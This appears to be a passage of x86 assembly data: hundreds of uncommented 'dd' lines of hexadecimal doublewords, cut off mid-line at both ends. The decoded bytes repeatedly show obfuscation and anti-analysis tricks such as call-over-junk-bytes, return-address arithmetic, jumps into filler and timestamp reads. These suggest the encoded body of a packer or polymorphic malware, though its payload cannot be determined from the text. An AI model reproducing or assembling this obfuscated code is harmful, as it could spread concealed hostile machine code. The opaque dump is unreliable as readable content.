0AE950h, 4E500000h, 1954B584h dd 6875CBBFh, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0BD039568h, 6131BF1h, 0C454B5FFh dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8BA289C3h, 1313F5BDh, 2995FF06h, 6A061332h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 968AC356h, 532820BAh, 0ADCDA452h, 39896BBh dd 48B58B50h, 8B0616C4h, 1328259Dh, 31858B06h, 9061306h dd 1309158Dh, 0C4868906h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0AEEAC351h dd 57DA8AA1h, 10E8h, 0D22B8800h, 0FB1CBCFAh, 0FA312F67h dd 2C75A799h, 5F616018h, 0BD958B5Bh, 0FC06131Bh, 6A04C283h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 68DDC356h, 18ED9D01h, 50890613h, 56006A20h dd 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0CD6D934Ah, 0BC68A25Ch dd 6ADCBB66h, 63D5BB66h, 0D8E3858Dh, 6A0616h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A9E7FEC3h dd 0F2C3A90h, 68Bh, 518D2900h, 89061313h, 0B886h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 65AADC63h, 0D19D33DBh, 6A061325h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 668AFCEFh dd 0FF8F81BBh, 16C454B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 87A8323Bh dd 0B91FB86h, 0B70F6279h, 0FF3FB3DBh, 131E9595h, 0ED8D8906h dd 5006131Ah, 0A0BF6057h, 6035A5C2h, 895B6161h, 6A2434h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 12FE3AC3h, 2109BD8Bh, 0BF660613h, 0B5FFAEFEh, 616C454h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0FDC35646h dd 0E07409B1h, 0F781665Ch, 0CF81BE0Ah, 3BD9A9FFh, 1E319D8Bh dd 95FF0613h, 6132145h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0CEC35141h, 9E35F8F9h, 0B809610h, 0C684D781h dd 0BD835786h, 6131495h, 4A840F00h, 8B000000h, 8B0F50FEh dd 15h, 10E9h, 365EE800h, 3307D993h, 412BADB6h, 1EA4B554h dd 24348963h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 7C35646h, 7549A9DEh, 4B60021Eh, 459D27BBh, 54B5FF50h dd 6A0616C4h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 3D71C356h, 0AD95FF60h, 81061305h dd 85F414C3h, 54B5FF03h, 6A0616C4h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7895C357h dd 120995FFh, 85890613h, 6132A61h, 511BD83h, 0F020613h dd 7C84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 8F0FE0h, 8B000000h, 130F5585h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 19BDEEE9h, 299D29F6h, 2906130Eh, 132431BDh, 0C606h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F9C35343h dd 81B86A19h, 0DF99F2E7h, 5185C74Eh, 6131Eh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 9463C356h, 89D6A176h, 131CD58Dh, 0F2B4E906h dd 0AE9FFFFh, 0CC000000h, 0F2183FCEh, 4A50710Dh, 8AC18BF6h dd 0A9858DFEh, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0D46AC357h, 0C0FD84D6h dd 2B4D6D13h, 89505B50h, 6A2404h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0CEC35141h, 6AE9E7BEh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD2394E7h, 6132405h, 0C419858Dh, 8B660617h, 5C083D8h dd 30019D33h, 0BD0B0613h, 6131D75h, 0EAA4BB50h, 4893F03h dd 0FDBD8B24h, 6A06132Fh, 619D8900h, 6A061305h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 681BD834h, 0FC6B2B7Fh, 0F195FF66h, 6A061307h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 4A9FC355h, 0A36A8D8Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0F1CD20C3h, 9D2B53C2h dd 613306Dh, 6E95Bh, 626B0000h, 87E1EE05h, 6AD1FFh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 1747AEC3h, 2CE024D8h, 5822E8BFh, 0B9F7816Bh, 832A996Ch dd 13173DBDh, 850F0106h, 0C3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 61C35646h, 6A026Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0D29258C3h, 0BD8BE4BBh, 61329E5h, 50BBB390h, 0DE8h dd 511DFC00h, 74DF284Ch, 0E77AAC6Eh, 0CE867E5h, 0FD000000h dd 3A03C121h, 0AF61685Dh, 0FBE9BF8h, 8Eh, 905B5B00h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 27C35747h, 1157AEC8h dd 35BD2BBDh, 0FF06130Bh, 131E9595h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0B5ADF0FCh dd 0E9DFB70Fh, 0C02h, 0E8h, 0ED815D00h, 617C423h, 7C0CBF66h dd 31199D31h, 858D0613h, 6168F5Eh, 323DBD8Bh, 89500613h dd 0FF642404h, 35h, 0DE800h, 94B70000h, 17184A0Ah, 497BC23h dd 5FB18B32h, 258964h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1432C356h dd 85FF64B5h, 61316D9h, 0D98B6652h, 0FFFF6A5Bh, 131139B5h dd 6800F06h, 81000000h, 31EDC7F3h, 0AD95FF69h, 0E9061331h dd 107h, 0B0DEB70Fh, 0D8BB6600h, 8170E6C4h, 0B3999BD3h dd 8971E44Bh, 13177D95h, 0F613C06h, 0E683h, 70BF6600h dd 0C8B60FC0h, 15218D89h, 6BA0613h, 0F000000h, 684h, 75BD8B00h dd 8B06130Eh, 0DE9C1h, 0D7EC0000h, 49445B9Dh, 0BF5FF71Ah dd 0C1123CF1h, 8B6604E8h, 0E2F766F8h, 0C1D78166h, 8AC82BFBh dd 0E9D18BDAh, 5, 24E36291h, 91E9CDh, 8B660000h, 359D03FEh dd 8B06131Fh, 885h, 50D78100h, 831668B2h, 9D8907C0h, 61305B1h dd 8B00C083h, 131541BDh, 8DBD8B06h, 3B061312h, 13830FD0h dd 81000000h, 3D0173C3h, 51E95Fh, 8B510000h, 130DD9BDh dd 8D8B5B06h, 0FFFFFFFFh, 83F9B70Fh, 840F01E1h, 37h, 0FE9h dd 1369B300h, 58361564h, 750DCE4Ah, 4DCE5FAh, 0FFFFA583h dd 0F8FEFFFFh, 89589h, 0BE90000h, 4000000h, 0A2F76793h dd 59E36D41h, 0E9D305h, 8D000000h, 174079B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 4D246358h, 558560FCh, 6AED16h, 24358589h, 95FF0613h dd 6130DA9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 3EC35242h, 0D21B589h, 0C3B90613h, 5600000Fh, 5F8BD780h dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 5C90C356h, 5370A497h, 9D8BFBBAh dd 6130D3Dh, 8D8B60FCh, 6131F6Dh, 0D036D181h, 0B8612F08h dd 0 dd 12E851h, 0ED290000h, 3DBD6AECh, 917793D4h, 4055B70Fh dd 821B3A29h, 1B59D89h, 5F5B0613h, 8A0FD22Bh, 6, 1D319D89h dd 33AD0613h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0AF816DC3h dd 2DB7BF18h, 880D36FBh, 0BB000000h, 7DB4CAE6h, 1BBD958Bh dd 9D230613h, 6130DBDh, 12399529h, 8D8B0613h, 61318DDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CFC35242h dd 0C1E1A0E7h, 91D740C3h, 0C28B50EFh, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0EBFFC350h, 3109BD89h dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 273911C3h, 684C1124h, 899D8BB6h, 83061305h dd 131D1DBDh, 840F0006h, 62h, 0E8FE8B66h, 12h, 618B024Bh dd 0A0F77568h, 760E8BD1h, 0A056996Bh, 0DF8BC6C6h, 0B85Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 9589B7C3h, 613350Dh, 4F8D8D8Dh, 9D330613h dd 61321FDh, 9E8E1FFh, 0FD000000h, 1FB789D0h, 97299787h dd 0BD835FF5h, 6133055h, 0D3840F00h, 0E8000003h, 0Dh, 0AB94660Bh dd 78596C3Ch, 908F9DA3h, 0F9B70F20h, 55BD835Bh, 1061330h dd 3CB840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 9F54E3C3h, 83F599ABh, 133055BDh dd 860F0306h, 367h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 1EC35646h, 0F4D1F33Bh, 3360DD5Bh, 133489BDh dd 0D98C6606h, 0F099D8Bh, 0E1800613h, 259D8904h, 0A06130Dh dd 9840FC9h, 0B7000001h, 0DB79BB45h, 858B3739h, 6132BB9h dd 60D78166h, 0B9853388h, 6A061305h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4624C351h dd 541493A3h, 17CBBB9Eh, 66501CA1h, 489FB8Bh, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 373901F1h, 6AD98BFEh, 7DBF6600h, 4E873h, 3FF0000h, 8B66001Fh dd 0C3BF50DEh, 8B764109h, 8B042444h, 0A0D0BF00h, 448932C6h dd 52500424h, 10E951h, 2E090000h, 575F5FD7h, 0B5C27EC8h dd 285D7AC2h, 0F5B4006h, 58585A31h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 55C35646h, 351CF66Bh, 6660C4AAh dd 0B8476BAh, 13323DB5h, 95FF6106h, 6130A3Dh, 0C4548589h dd 0BD8B0616h, 613352Dh, 1B9E9h, 0BE800h, 0C8CF0000h, 8E2FBEC6h dd 113DE840h, 0ED9D8BCBh, 5B061305h, 0C44C858Bh, 0B70F0616h dd 1800C7DEh, 8B000000h, 130B61BDh, 50B58B06h, 6A0616C4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0CED9C356h, 4E366322h, 90DB892h, 13220D8Dh dd 55858B06h, 8B06132Ah, 130C699Dh, 8B068906h, 0B9858BD8h dd 8906132Bh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0B75839C3h, 402F90A4h, 60525096h dd 310F5250h, 0CE9585Ah, 41000000h, 815138C8h, 839B0BABh dd 61FA0D45h, 4AB7310Fh, 9650585Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 8DC35242h, 71BA815Eh, 8166A2E7h dd 0FF72F6C3h, 16C44CB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 3B687724h dd 14158D89h, 1E680613h, 50DE79DCh, 0FDA8B52h, 8B0F31h dd 5A000000h, 24048158h, 21A527E1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 96C35343h, 89BD3345h, 66061316h dd 8DEFFBBFh, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0CEA1FEBBh, 5D8F80FAh dd 3DE7BF6Bh, 820F4277h, 0Ch, 7E9h, 1242AB00h, 4EDE12B5h dd 148B0F90h, 0E9000000h, 0Fh, 0C53246D5h, 2708D48h, 48F4D072h dd 50FBDCA2h, 95FFF590h, 6130A3Dh, 1071BD8Bh, 6A610613h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0DC96C351h, 5585C7AFh, 3061330h, 0E9000000h dd 12h, 0D3FF49E3h, 3C68768h, 0F2171111h, 0B58C5342h, 0BD83406Ch dd 616C454h, 2C840F00h, 89000000h, 13320595h, 3CE906h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8015EEC3h, 50F5C2DFh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh, 6130151h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h, 5012FF82h dd 0D1C7BFE5h, 0BD83060Eh, 6133055h, 0B8850F03h, 8B000003h dd 54BD83F8h, 616C4h, 3A9840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1D2B0C3h dd 0CEE3EC94h, 0B5894CC4h, 6130D65h, 0C454B5FFh, 6A0616h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FB7166C3h, 0B1F5D3BAh, 95FFC431h, 6130969h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C2C35242h, 0FFE1F18h dd 685h, 0FEDF8100h, 8B7F0C76h, 16C448B5h, 0AAF38006h dd 106C7h, 8D090001h, 61306D9h, 73CF8166h, 12E99601h, 46000000h dd 59EA838Ah, 93154BDEh, 0D982CBA6h, 0AB90A0F0h, 0CE85048h dd 7F000000h, 75043090h, 1FE1D66Bh, 50595F01h, 0F616052h dd 5ADA8B31h, 0F965B58h, 0BD89FFBFh, 6131FD1h, 0C454B5FFh dd 8F0F0616h, 6, 890Fh, 0E1B70000h, 322995FFh, 0E0BF0613h dd 8B341410h, 16C448B5h, 31858B06h, 66061306h, 8689F98Bh dd 0C4h, 958BF88Bh, 6131BBDh, 0F93870BFh, 4C28364h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B0C35343h, 6D9D034Dh dd 0F061322h, 5089DBBFh, 858DFC20h, 616D8E3h, 0B88689h dd 8E0F0000h, 1Eh, 12E8h, 0FF49E300h, 0C68768D3h, 17111103h dd 8C5342F2h, 9406CB5h, 131CF595h, 6A5B06h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0F7B1A3ECh dd 0AE96BBCh, 18000000h, 0E7820138h, 0DB99C63Dh, 54B5FFF1h dd 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0BC4CC357h, 0F9B2446Eh, 95FF0A14h dd 6131E95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0DC35040h, 52821A32h, 4D85015Dh, 50061306h, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 42C352h, 9FBDCB81h, 0B5FF2543h dd 616C454h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0BFC35040h, 0B5A9B294h, 0A3BB7967h, 0FF7C5735h dd 13214595h, 0D5B58906h, 8306131Ch, 131495BDh, 840F0006h dd 13h, 37EDC7BBh, 8B66967Bh, 519650F9h, 1785BD8Bh, 0FF5F0613h dd 16C454B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 51D9B302h, 21F5BD8Bh, 0FF5B0613h dd 1305AD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0E8D94156h, 11h, 0FDF5A719h, 4F628587h dd 0C06C3596h, 0A223BDE8h, 0FF5FF935h, 16C454B5h, 0F2D78106h dd 0FF48C42Eh, 13120995h, 0BD83F906h, 6130511h, 58840F02h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 235BC355h, 858BFCE0h, 6130F55h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BC35646h dd 84BCC2AFh, 8D8B6073h, 6132A05h, 0C661F5h, 59D8B00h dd 0C706132Ah, 131E5185h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 2F3949C5h dd 0D585E093h, 0D781B027h, 13F44D92h, 0AE9h, 4AF1C500h dd 688C385Dh, 0E9D8E3F6h, 0FFFFF4B5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 30C35242h, 6AC18Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 662B4CC3h, 0BCB8B60h, 1314819Dh, 858D6106h, 6131EA9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0AEC35040h dd 8B662EF5h, 0BF6690F9h, 90509A1Ah, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 8BC35545h, 0B810Fh, 880F0000h dd 5, 0A58EABBh, 6A006A39h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 89F8FAD6h dd 131CD98Dh, 1E858D06h, 6A0617D2h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4E89C356h dd 0DE8h, 755C4E00h, 9FF36953h, 1FE78470h, 8D89CAF7h, 6132955h dd 5C0835Bh, 0E850BFB7h, 12h, 0E6BB443Dh, 90628C4Ah, 630227Dh dd 65021598h, 8B66D1E3h, 4895FF9h, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8BA9896Ah dd 131959BDh, 6A006A06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0E2DCC350h, 3446AF8Fh dd 6AB16Ch, 6AF88Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0CC35646h, 159D8943h, 0FF06132Ch, 1307F195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0F955CEEh, 6661D6EBh, 8D8DF98Bh, 616A36Ah dd 0D1FF5F52h, 0F21BD8Bh, 0BD830613h, 613173Dh, 61850F01h dd 0F000000h, 26AD8B7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 26C35040h, 0C2CB6678h, 9D89EEC0h, 61305BDh dd 50FE8B90h, 8A90DA8Bh, 9595FFD9h, 6A06131Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0F9ECC350h, 7C6157FEh, 0DE8B6645h, 0DFEE9h, 0E800h dd 815D0000h, 17D228EDh, 9E906h, 2FD30000h, 0CCD6CC0Dh dd 6AA553F1h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0EC9CC350h, 57DD1B8Bh, 1D1BD2Bh dd 8B5F0613h, 1316219Dh, 5E858D06h, 8B06168Fh, 131361BDh dd 0CE85006h, 0C3000000h, 0B0850DDEh, 0A5CC6A15h, 60396BD6h dd 0CE9h, 8FCB4900h, 22F12DFEh, 1A7ED09Ch, 0BBBA6606h dd 895F6117h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 34338DC3h, 0FA8B60FBh, 1E0D8D8Bh dd 66610613h, 64BF91BBh, 35FFh, 880F0000h, 3, 64DFB70Fh dd 2589h, 0BD890000h, 6130E35h, 16D985FFh, 6A0613h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 9A19C9C3h, 0F4E3B2D6h, 9D8BAA9Dh, 6130D65h, 27840Fh dd 0EE80000h, 91000000h, 0F2FBE9F9h, 0B30BA3BEh, 0EF6CCAC8h dd 0EE9F2h, 0D670000h, 2B9E3E14h, 0E7650E18h, 0C1620F16h dd 6AFF6A5Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 5C92C353h, 0F2B8E199h, 0C18589EDh dd 0FF06132Eh, 130ED5B5h, 69BD8906h, 0FF061324h, 1331AD95h dd 136E906h, 0E9600000h, 10h, 328B05C1h, 37F00658h, 8007207Fh dd 784BC352h, 10E9h, 28970000h, 3453160h, 0A20F569Eh, 0F1193EE9h dd 0B06176h, 8970E6FCh, 1323E9BDh, 971E406h, 1308CD95h dd 0F613C06h, 0EF83h, 0E18D0100h, 0F06130Bh, 850FC8B6h dd 5, 0FBF7D7BFh, 6BA1Eh, 0B5890000h, 6130F21h, 0E8C1C18Bh dd 59B58904h, 6606130Dh, 0BB66E2F7h, 0C82B36ECh, 3ED78166h dd 60D18B1Ch, 0ADF68160h, 6124FFCAh, 0A6E961h, 0BE90000h dd 67000000h, 2F85F280h, 504066AFh, 858B0723h, 1, 0B5BD8B56h dd 5B061305h, 8B07C083h, 132EB1BDh, 0C08306h, 810Fh, 0D03B0000h dd 1C830Fh, 0CE90000h, 89000000h, 1F4286ECh, 0F0A010B8h dd 0E9257CC1h, 58h, 20559D8Bh, 8D8B0613h, 0FFFFFFFFh, 2FC58D29h dd 0BD090613h, 61330B1h, 0F01E183h, 3784h, 0DBD8B00h, 0F061332h dd 28Dh, 83DAB300h, 0FFFFFFA5h, 0BD8BFEFFh, 6132BD1h, 19589h dd 0CE90000h, 44000000h, 8BAD1615h, 0ED5E811Ah, 0E9261D9Bh dd 0 dd 503CB58Dh, 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0DC483EC3h, 0C7816199h, 3B1AE88h dd 31B5BD8Bh, 6A0613h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0A4C35747h, 0BB66E185h, 95FF6D0Bh, 6130DA9h dd 42228CBBh, 0B910B70Ah, 0F70h, 1ECD9589h, 0E1830613h dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 6C4B8B3h, 624131A4h, 81FC2333h, 0B29295F3h dd 6AC02B14h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 556CC350h, 81234A37h, 0F91BC85h dd 688h, 59958900h, 0BB061324h, 12F0D860h, 13E9D22Bh, 3E000000h dd 0B6FD8AC0h, 3CBF3487h, 667D6CA0h, 4713B226h, 33AD58E2h dd 3E8D1C2h, 4E983D0h, 0E781F475h, 2805280Ah, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4C35545h, 864532C6h dd 89B535C9h, 132C5185h, 880D06h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0CF7F2CC3h dd 0E65F68FBh, 810FCFE6h, 6, 0C5D9D33h, 958B0613h, 6131BBDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0EFC35545h dd 8BFFBF0Fh, 1318DD8Dh, 0FFBF0F06h, 5BDA8B53h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0DFBF5818h, 0E8790521h dd 9, 0FB7F927h, 7DEEA9FDh, 0FDBD8BE0h, 5F061314h, 1D1DBD83h dd 0F000613h, 6484h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 293AE779h, 664755BCh dd 58DFCB81h, 18F5B501h, 0B80613h, 66000000h, 8D8DFB8Bh dd 6134F8Dh, 2826BB66h, 6AE1FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 233516C3h, 1319D59Dh dd 55BD8306h, 61330h, 49D840Fh, 81660000h, 836119E3h, 133055BDh dd 840F0106h, 4A6h, 83F8BF0Fh, 133055BDh, 860F0306h, 460h dd 295DBD29h, 6A600613h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 4AAEC357h, 0EA3A5E44h dd 0BD8BB42Ah, 6130611h, 6AD98C66h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 893AC351h dd 1320B1BDh, 4E18006h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 16C35646h, 9D75EE11h, 8B70E121h, 131F859Dh dd 0FC90A06h, 18884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0A18D8970h, 8B061320h dd 132BB985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 950D6E77h, 330816F6h, 1305B985h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0F1A4C69Eh, 0FC0BB3BFh, 8E84Eh, 0C9D40000h dd 0FE0D81DBh, 890F0903h, 2, 505B5B57h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 883DC352h, 0C9267F0Dh, 6535F915h, 0E9DE8B66h, 14h, 0BE804340h dd 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 894317C3h, 58684E70h, 60540D63h, 0EE8h, 19686500h, 0A3EE8EBh dd 266915Ch, 5BB3A9D8h, 0CE8h, 26596200h, 72D2F3h, 8819F784h dd 0CB8B6649h, 3481615Bh, 1260A724h, 10E954h, 2C930000h dd 1ABDC99Eh, 3CE3FA83h, 0CDF19EE4h, 95FF4EB8h, 6130A3Dh dd 1FF9B589h, 0DA8B0613h, 0C4548589h, 6A0616h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0E9F9B6C3h, 1C4h, 9E8h, 1B6C9600h, 0E7D104CCh, 0BD0BF642h dd 6130BADh, 4C858B5Fh, 0F0616C4h, 384h, 0DF8B6600h, 8D0Fh dd 0C70000h, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0D1C35747h, 8BA998AAh, 16C450B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 589F8B50h, 55858B6Dh, 0BF06132Ah, 6BFB3ED6h, 10E90689h dd 2F000000h, 19834F15h, 4CB2490Ch, 8C6F9DC3h, 0FFC3691h dd 680h, 0DDBD8B00h, 8B061314h, 132BB985h, 80F88B06h, 46895AE3h dd 0DA8B6604h, 2890F50h, 0B7000000h, 243489D7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 92C35141h, 0AEE09630h dd 8166EEFFh, 818A98DFh, 0BB8FC2EFh, 4CB5FF6Ch, 90616C4h dd 13140195h, 4E806h, 3FF0000h, 0BF66001Fh, 8B507ADEh dd 24448BFBh, 850F04h, 8B000000h, 0D98B6600h, 4244489h dd 8058FA8Bh, 858D38DFh, 616C454h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0AFC35141h, 6E8h, 7E25EE00h dd 578CC815h, 14E8h, 0CC890700h, 4FD79E92h, 0A56DDB35h dd 504DB0EDh, 0F483FCB6h, 5F5F5BFDh, 24048950h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h, 0FF46E21Dh dd 130A3D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0F90F93CCh, 0FC3BC8Fh, 18Bh, 9D8BFC00h dd 6130B05h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 495DF507h, 0ED17BB66h, 85C76BB3h dd 6133055h, 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0A0C35040h, 1F9D9D8Bh, 0BD830613h, 616C454h, 41840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E9A4C350h, 3Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0C5C35545h, 0F6D0BF66h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 